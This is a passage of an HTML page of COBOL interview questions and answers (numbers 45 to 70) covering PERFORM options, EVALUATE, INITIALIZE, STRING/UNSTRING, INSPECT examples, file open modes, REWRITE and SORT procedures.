<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l20 level1 lfo15; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">INPUT PROCEDURE is executed before the sort and records must be RELEASEd to the sort work file from the input procedure. </span></li>
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l20 level1 lfo15; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">OUTPUT PROCEDURE is executed after all records have been sorted. Records from the sort work file must be RETURNed one at a time to the output procedure. </span></li>
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l20 level1 lfo15; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">.How do you define a sort file in JCL that runs the COBOL program? </span></li>
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l20 level1 lfo15; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">Use the SORTWK01, SORTWK02,&#8230;.. dd names in the step. Number of sort datasets depends on the volume of data being sorted, but a minimum of 3 is required. </span></li>
</ul>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">45. Which is the default, TEST BEFORE or TEST AFTER for a PERFORM statement?</span></p>
<ol type="A">
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l30 level1 lfo18; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">TEST BEFORE. By default the condition is checked before executing the instructions under Perform. </span></li>
</ol>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">46. What is the difference between PERFORM &#8230; WITH TEST AFTER and PERFORM &#8230; WITH TEST BEFORE?</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. If TEST BEFORE is specified, the condition is tested at the beginning of each repeated execution of the specified PERFORM range. If TEST AFTER is specified, the condition is tested at the end of the each repeated execution of the PERFORM range. With TEST AFTER, the range is executed at least once.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">47. How do you code an in-line PERFORM?</span><span style="font-size: 10pt; font-family: Arial;"> </span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. PERFORM &#8230; &lt;UNTIL&gt; &#8230; &lt;statements&gt; END-PERFORM.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">48. In an EVALUTE statement is the order of the WHEN clauses significant? </span></p>
<ol type="A">
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l6 level1 lfo21; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">Yes. Evaluation of the WHEN clauses proceeds from top to bottom and their sequence can determine results. </span></li>
</ol>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">49. What is the default value(s) for an INITIALIZE and what keyword allows for an override of the default.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. INITIALIZE sets spaces to alphabetic and alphanumeric fields. Initialize sets Zeroes to numeric fields. FILLER, OCCURS DEPENDING ON items are left untouched. The REPLACING option can be used to override these defaults. </span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">50. What is SET &lt;condition-name&gt; TO TRUE all about, anyway? </span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. In COBOL II the 88 levels can be set rather than moving their associated values to the related data item. (Web note: This change is not one of COBOL II&#8217;s better specifications.) </span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">51. What is LENGTH in COBOL II? </span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. LENGTH acts like a special register to tell the length of a group or an elementary item.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">52. What is the function of a delimiter in STRING?</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. A delimiter in STRING causes a sending field to be ended and another to be started.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">53. What is the function of a delimiter in UNSTRING?</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. A delimiter when encountered in the sending field causes the current receiving field to be switched to the next one indicated.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">54. How will you count the number of characters in a null-terminated string?</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: 'Courier New';">A. MOVE</span><span style="font-size: 10pt; font-family: Arial;"> </span><samp><span style="font-size: 10pt;">0</span></samp><span style="font-size: 10pt; font-family: Arial;"> </span><samp><span style="font-size: 10pt;">TO</span></samp><span style="font-size: 10pt; font-family: Arial;"> </span><samp><span style="font-size: 10pt;">char-count</span></samp><span style="font-size: 10pt; font-family: Arial;"> </span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: 'Courier New';">INSPECT</span><span style="font-size: 10pt; font-family: Arial;"> </span><samp><span style="font-size: 10pt;">null-terminated-string</span></samp><span style="font-size: 10pt; font-family: Arial;"> </span><samp><span style="font-size: 10pt;">TALLYING</span></samp><span style="font-size: 10pt; font-family: Arial;"> </span><samp><span style="font-size: 10pt;">char-count</span></samp><span style="font-size: 10pt; font-family: Arial;"> </span><samp><span style="font-size: 10pt;">FOR</span></samp><span style="font-size: 10pt; font-family: Arial;"> </span><samp><span style="font-size: 10pt;">CHARACTERS</span></samp><span style="font-size: 10pt; font-family: Arial;"> </span><samp><span style="font-size: 10pt;">BEFORE</span></samp><span style="font-size: 10pt; font-family: Arial;"> </span><samp><span style="font-size: 10pt;">X&#8221;00&#8243;</span></samp><span style="font-size: 10pt; font-family: Arial;"> </span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">55. Which statement will you use to move non-null characters from a null-terminated String?</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: 'Courier New';">A. UNSTRING</span><span style="font-size: 10pt; font-family: Arial;"> </span><samp><span style="font-size: 10pt;">null-terminated-string</span></samp><span style="font-size: 10pt; font-family: Arial;"> </span><samp><span style="font-size: 10pt;">DELIMITED</span></samp><span style="font-size: 10pt; font-family: Arial;"> </span><samp><span style="font-size: 10pt;">BY</span></samp><span style="font-size: 10pt; font-family: Arial;"> </span><samp><span style="font-size: 10pt;">X&#8221;00&#8243;</span></samp><span style="font-size: 10pt; font-family: Arial;"> </span><samp><span style="font-size: 10pt;">INTO</span></samp><span style="font-size: 10pt; font-family: Arial;"> </span><samp><span style="font-size: 10pt;">target-area</span></samp></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: 'Courier New';">COUNT</span><span style="font-size: 10pt; font-family: Arial;"> </span><samp><span style="font-size: 10pt;">IN</span></samp><span style="font-size: 10pt; font-family: Arial;"> </span><samp><span style="font-size: 10pt;">char-count</span></samp><span style="font-size: 10pt; font-family: Arial;">. (There are other methods, such as 1) using PERFORM 2) using SEARCH 3) using INSPECT and MOVE etc&#8230;) </span><span style="font-family: Arial;"></span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: 'Courier New';">56.<strong> 77 COUNTR</strong></span><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span><samp><strong><span style="font-size: 10pt; color: blue;">PIC</span></strong></samp><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span><samp><strong><span style="font-size: 10pt; color: blue;">9</span></strong></samp><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span><samp><strong><span style="font-size: 10pt; color: blue;">VALUE</span></strong></samp><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span><samp><strong><span style="font-size: 10pt; color: blue;">ZERO.</span></strong></samp><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span></p>
<p style="margin-left: 0.5in;"><strong><span style="font-size: 10pt; color: blue; font-family: 'Courier New';">01</span></strong><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span><samp><strong><span style="font-size: 10pt; color: blue;">DATA-2</span></strong></samp><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span><samp><strong><span style="font-size: 10pt; color: blue;">PIC</span></strong></samp><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span><samp><strong><span style="font-size: 10pt; color: blue;">X(11).</span></strong></samp><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span><samp><strong><span style="font-size: 10pt; color: blue;">.</span></strong></samp><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span><samp><strong><span style="font-size: 10pt; color: blue;">.</span></strong></samp><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span></p>
<p style="margin-left: 0.5in;"><strong><span style="font-size: 10pt; color: blue; font-family: 'Courier New';">INSPECT</span></strong><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span><samp><strong><span style="font-size: 10pt; color: blue;">DATA-2</span></strong></samp><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span></p>
<p style="margin-left: 0.5in;"><strong><span style="font-size: 10pt; color: blue; font-family: 'Courier New';">TALLYING</span></strong><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span><samp><strong><span style="font-size: 10pt; color: blue;">COUNTR</span></strong></samp><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span><samp><strong><span style="font-size: 10pt; color: blue;">FOR</span></strong></samp><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span><samp><strong><span style="font-size: 10pt; color: blue;">LEADING</span></strong></samp><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span><samp><strong><span style="font-size: 10pt; color: blue;">&#8220;0&#8243;</span></strong></samp><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span></p>
<p style="margin-left: 0.5in;"><strong><span style="font-size: 10pt; color: blue; font-family: 'Courier New';">REPLACING</span></strong><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span><samp><strong><span style="font-size: 10pt; color: blue;">FIRST</span></strong></samp><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span><samp><strong><span style="font-size: 10pt; color: blue;">&#8220;A&#8221;</span></strong></samp><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span><samp><strong><span style="font-size: 10pt; color: blue;">BY</span></strong></samp><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span><samp><strong><span style="font-size: 10pt; color: blue;">&#8220;2&#8243;</span></strong></samp><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span><samp><strong><span style="font-size: 10pt; color: blue;">AFTER</span></strong></samp><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span><samp><strong><span style="font-size: 10pt; color: blue;">INITIAL</span></strong></samp><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span><samp><strong><span style="font-size: 10pt; color: blue;">&#8220;C&#8221;</span></strong></samp><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">If DATA-2 is 0000ALABAMA, what will DATA-2 and COUNTER be after the execution of INSPECT verb? </span></p>
<pre style="margin-left: 0.5in;">A.<span style="mso-tab-count: 1;">       </span>Counter=4.<span style="mso-tab-count: 2;">             </span>Data-2 will not change as the Initial 'C' is not found.</pre>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: 'Courier New';">57.<strong> 01</strong></span><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span><samp><strong><span style="font-size: 10pt; color: blue;">DATA-4</span></strong></samp><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span><samp><strong><span style="font-size: 10pt; color: blue;">PIC</span></strong></samp><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span><samp><strong><span style="font-size: 10pt; color: blue;">X(11).</span></strong></samp><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><strong><span style="font-size: 10pt; color: blue; font-family: 'Courier New';">:::</span></strong></p>
<p style="margin-left: 1in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><strong><span style="font-size: 10pt; color: blue; font-family: 'Courier New';">INSPECT</span></strong><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span><samp><strong><span style="font-size: 10pt; color: blue;">DATA-4</span></strong></samp><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span><samp><strong><span style="font-size: 10pt; color: blue;">CONVERTING</span></strong></samp><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span></p>
<p style="margin-left: 1in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><strong><span style="font-size: 10pt; color: blue; font-family: 'Courier New';">&#8220;abcdefghijklmnopqrstuvwxyz&#8221;</span></strong><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span><samp><strong><span style="font-size: 10pt; color: blue;">TO</span></strong></samp><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span><samp><strong><span style="font-size: 10pt; color: blue;">&#8220;ABCDEFGHIJKLMNOPQRSTUVWXYZ&#8221;</span></strong></samp><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span></p>
<p style="margin-left: 1in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><strong><span style="font-size: 10pt; color: blue; font-family: 'Courier New';">AFTER</span></strong><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span><samp><strong><span style="font-size: 10pt; color: blue;">INITIAL</span></strong></samp><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span><samp><strong><span style="font-size: 10pt; color: blue;">&#8220;/&#8221;</span></strong></samp><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span><samp><strong><span style="font-size: 10pt; color: blue;">BEFORE</span></strong></samp><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span><samp><strong><span style="font-size: 10pt; color: blue;">INITIAL&#8221;?&#8221;</span></strong></samp><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span></p>
<p style="margin-left: 1in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">What will the contents of </span><tt><strong><span style="font-size: 10pt; color: blue;">DATA-4</span></strong></tt><span style="font-size: 10pt; color: blue; font-family: Arial;"> be after the conversion statement is performed, if before conversion </span></p>
<p style="margin-left: 1in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">a) DATA-4 = a/five/?six b) DATA-4 = r/Rexx/RRRr c) DATA-4 = zfour?inspe </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. a) a/FIVE/?six b) r/REXX/RRRR c) zfour?inspe (no change at all)</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">58. What kind of error is trapped by ON SIZE ERROR option?</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. Fixed-point overflow. Zero raised to the zero power.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">Division by 0. Zero raised to a negative number. </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A negative number raised to a fractional power. </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 7.5pt; font-family: Arial;"> </span><span style="font-size: 10pt; color: blue; font-family: Arial;">59. What is the point of the REPLACING option of a copy statement? </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. REPLACING allows for the same copy to be used more than once in the same code by changing the replace value. COPY xxx REPLACING &lt;psuedotext1&gt; BY &lt;psuedotext2&gt;.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">60. When is a scope terminator mandatory? </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. Scope terminators are mandatory for in-line PERFORMS and EVALUATE statements. For readability, it&#8217;s recommended coding practice to always make scope terminators explicit.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">61. Can you use REDEFINES clause in the FILE SECTION?</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. No</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">62. How will you define your record descriptions in the FILE SECTION if you want to use three different record descriptions for the same file?</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. FD filename</span></p>
<p style="margin-left: 1in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">DATA RECORDS ARE rd01, rd02, rd03.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">01 rd01 PIC X(n).</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">01 rd02 PIC X(n).</span></p>
<p style="margin-left: 1in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">01 rd03 PIC X(n). </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">63. When will you open a file in the EXTEND mode?</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. When an existing file should be appended by adding new records at its end. EXTEND mode opens the file for output, but the file is positioned following the last record on the existing file.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">64. What does a CLOSE WITH LOCK statement do?</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. The statement closes an opened file and it prevents the file from further being opened by the same program.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">65. Which mode of opening is required when REWRITE is used?</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. I-O mode</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">66. Why is it necessary that the file be opened in I-O mode for REWRITE?</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. Before the REWRITE is performed, the record must be read from the file. Hence REWRITE includes an input operation and an output operation. Therefore, the file must be opened in I-O mode.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">67. Which clause can be used instead of checking for FILE STATUS = 10?</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. FILE STATUS 10 is the end of file condition. Hence AT END clause can be used. </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">68. What is the format of a simple SORT verb? What kinds of files can be sorted using SORT?</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. SORT workfile ON ASC/DESC KEY key1, ASC/DESC KEY key2 &#8230;</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">USING inputfile GIVING outputfile</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">Only sequential files can be sorted in this way.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">69. What are the different rules of SORT that needs to be considered?</span></p>
<ol type="A">
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l25 level1 lfo24; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">The input and output files must remain closed because SORT opens them and closes during the operation, The work file must have a SELECT clause. The work file must have sort description SD entry in the FILE SECTION. Input and Output files must have FD entries </span></li>
</ol>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">70. What are INPUT PROCEDURE and OUTPUT PROCEDURE?</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. Sometimes, it is necessary that the records must be edited before or after the sorting. In such cases,</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">SORT workfile ASC/DESC KEY key1, &#8230;</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">INPUT PROCEDURE IS ipproc </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">OUTPUT PROCEDURE is outproc</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">Is used. In the INPUT PROCEDURE the input file is opened, records are read and edited and then are released to the sorting operation. Finally the file is closed. RELEASE sortrecname FROM inp-rec.</span></p>
